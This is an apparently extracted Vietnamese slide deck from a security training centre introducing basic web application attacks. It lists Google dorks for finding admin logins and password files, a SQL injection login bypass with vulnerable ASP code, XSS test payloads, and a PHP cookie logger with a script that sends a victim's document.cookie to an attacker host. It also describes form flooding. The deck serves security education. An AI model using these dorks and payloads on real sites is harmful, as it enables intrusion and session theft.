Trình bày : Võ Đỗ Thắng Giám đốc Trung tâm an ninh mạng Athena.
A. Web app, Webserver: Các khái niệm và mô hình B. Giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver C. Phát hiện và phòng chống ATHENA
A. Web app, Webserver: Các khái niệm và mô hình Web
application là gì?
Web
app hay web service là một phần mềm ứng dụng chạy phía server (thuộc layer 7 trong mô hình OSI)
User
có thể truy xuất web app bằng các trình duyệt (web browser, telnet) hay bằng các giao thức HTTP(s)
ATHENA
2001(c)WhiteHat Security, Inc.
A. •
•
ATHENA
Web app, Webserver: Các và mô hình Một số trình duyệt thông dụng: IE (internet explorer) FF( Mozilla Firefox) Opera Một số webserver thông dụng IIS : www.microsoft.com Apache : www.apache.org Jrun : www.marcomedia.com Tomcat jakarta.apache.org Iplanet webserver
Cold Fusion Webserver 2001(c)WhiteHat Security, Inc.
khái niệm
Mô hình chuẩn Web App HTTP request (cleartext or SSL)
Giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver
1. Google attack 2. SQL injection 3. Cross site scripting 4. Hidden form vulnerability 5. Cookies injection 6. Flood database/Flood form 7. Local Attack 8. Path disclosure/Parsing exploit
Website viện kinh tế thành phố Hồ Chí Minh bị tấn công, chiếm quyền kiểm soát
ATHENA
Google Attack
ATHENA
Sử dụng google để hack là một trong những phương pháp phổ biến của hacker nhằm tìm được những thông tin nhạy cảm từ victim Phương pháp Google attack giúp cho hacker có thể tìm ra thông tin những victim đã định trước (mục tiêu đã xác
định) hay hack hàng lọat những victim có lỗi tương tự (mục tiêu chưa xác định)
Google attack (cont) Một số keyword hay được sử dụng: 1. Directory listing: Intitle:index.of/admin 2. CGI scanning: inurl:/iisadmpwd/ inurl://iisadmpwd/achg.htr inurl://iisadmpwd/aexp.htr inurl://iisadmpwd/aexp2.htr inurl://iisadmpwd/aexp2b.htr 3. Port Scanning: "VNC Desktop" inurl:5800 Inurl:webmin inurl:10000 ATHENA
Google attack (cont) Tìm link login: Inurl:/admin/login.asp Inurl:/administrator/login.asp Inurl:/admin/admin_login.asp … Tìm thông tin chứa user/password: "Index of" htpasswd / passwd filetype:xls username password email "WS_FTP.LOG"
"config.php" allinurl: admin mdb service filetype:pwd (FrontPage) Inurl:/admin.mdb Filetype:mdb user password ATHENA
SQL injection
ATHENA
Lỗi này thường xảy ra trên các ứng dụng web có csdl được quản lý bằng các hệ cơ sở dữ liệu như SQL Server, Mysql, Oracle, DB2, Sysbase, MsAccess… Mỗi hệ quản trị csdl có một số điểm giống và khác nhau giữa các phương pháp injection Trong bài báo cáo này xin trình bày phương pháp injection trong hệ quản trị csdl phổ biến nhất thế giới: MSSQL 2001(c)WhiteHat Security, Inc.
Các dạng tấn công SQL injection SQL bypass: Login.htm action="ExecLogin.asp" method="post"> Username: name="fUSRNAME">
Password: name="fPASSWORD">
<input type="submit"> </form> ATHENA
2001(c)WhiteHat Security, Inc.
SQL Bypass
execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %>
ATHENA
2001(c)WhiteHat Security, Inc.
SQL bypass
- Khi hacker nhập vào:
‘ or ‘’=‘ Câu truy vấn sẽ trở thành SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='‘ - Câu truy vấn Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí Người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ. Tuy nhiên thực tế từng trường hợp cụ thể sẽ có các cách bypass khác nhau, ko có công thức chung. (Xem video demo SQL bypass vienkinhte.gov.vn) ATHENA
2001(c)WhiteHat Security, Inc.
SQL injection (cont) Ngoài ra còn một số kĩ thuật nâng cao khác sử dụng SQL injection như: Union/Convert magic (khai thác dữ liệu) - Blind SQL injection - Tạo script Ddos sever - Sử dụng openrowset - Store procedure injection, kĩ thuật nâng quyền
user,giới thiệu về kĩ thuật runtime patching - Upload backdoor (phần này khá dài,demo hòan tòan bằng Video) (xem video sql_ij_basic, sql_ij_admin)
ATHENA
2001(c)WhiteHat Security, Inc.
Cross site scripting Cross site scripting là gì? - Cross site scripting viết tắt là XSS (để tránh nhầm lẫn với CSS) là một dạng tấn công hướng về phía User (Client) mà ko tác động trực tiếp đến webserver - Hacker thường lợi dụng XSS để đánh cắp cookie của user, phising etc… - Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn có thể xử dụng XSS để get root server (xem Iplanet server attack)
ATHENA
2001(c)WhiteHat Security, Inc.
Cross site scripting - Phương pháp test:
+ inject đọan script + <script>alert(‘test’)</script> vào bất cứ đâu cho phép user input data (Url, Feedback, Form, Search, cookie…etc) + Nếu thấy xuất hiện ra một pop-up ‘test’ thì có nghĩa là website đã bị dính XSS + Đọan code trên không phải là cách test chung, nhiều trường hợp phải view source hoặc mã hóa để vượt qua filter. ATHENA
Cross site scripting - Phương pháp tấn công: + Attacker viết một đọan mã để get cookie của victim như sau: $cookie = $_GET['cookie']; $log = fopen("cookies11.txt","a"); //cookies11.txt //chmod 777 fwrite($log, $cookie ."\n"); fclose($log); ?> ATHENA 2001(c)WhiteHat Security, Inc.
Cross site scripting - Sau đó up lên 1 hosting của hacker + Vd: />- Kế tiếp hacker sẽ post đọan code sau vào forum (or URL )
của 1 website với hình thức như sau + <script> window.location = ' + document.cookie; </script> - Sau đó bằng vài phương pháp phising, sau khi victim đã đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt của hacker.Công việc còn lại của Hacker khá đơn giản:fake cookie và truy xuất tài nguyên của website với quyền của user vừa chiếm được
ATHENA
2001(c)WhiteHat Security, Inc.
Hidden form vulnerability Hidden form vulnerability là gì? Là một dạng truyền biến của webapplication, coder không muốn cho user can thiệp trong quá trình truyền biến - Hidden form có dạng: type="hidden" value="13.95" name="jac_minReqTotal"> value="1" name="jac_minReqUnits">
type="hidden" value="0" name="jac_minReqWeight"> - Vậy điều gì xảy ra nếu như các biến trong hidden form không được check một cách chặt chẽ khi user submit? Hacker sẽ2001(c)WhiteHat lợi dụng điều này như thế nào?!? ATHENA Security, Inc. (xem video hiden_form_demo)
Cookies injection Cookie là gì? - Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. - Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen…Trong một số trường hợp, cookie có thể hiểu là 1 token để Authentication người dùng. - Ngòai cách tấn công bằng XSS để lấy cookie của victim, Hacker còn có thể dùng một kĩ thuật gọi là “cookie injection” để chiếm lấy phiên làm việc của victim nếu như thông qua một vài chỗ yếu trong cách xác thực của cookies
ATHENA 2001(c)WhiteHat Security, Inc. (Xem video cookie_injection)
5. Flood database/Flood form Flood database/ Flood form là gì: - Đây thực ra không phải là một phương pháp hacking, có thể tạm xếp vào là một trong những hình thức DoS, nhưng đây là hình thức DoS vào database. - Cách thức tấn công: Hacker tạo ra những script để post một cách tự động vào forum, create member, search form, feedback đến một lúc nào đó thì webserver của victim cạn kiệt bandwitch hay sự nở ra liên tục của DB khiến dung lượng ổ cứng của victim bị full và crash cả hệ thống - Xem Flood blog_yahoo_demo ATHENA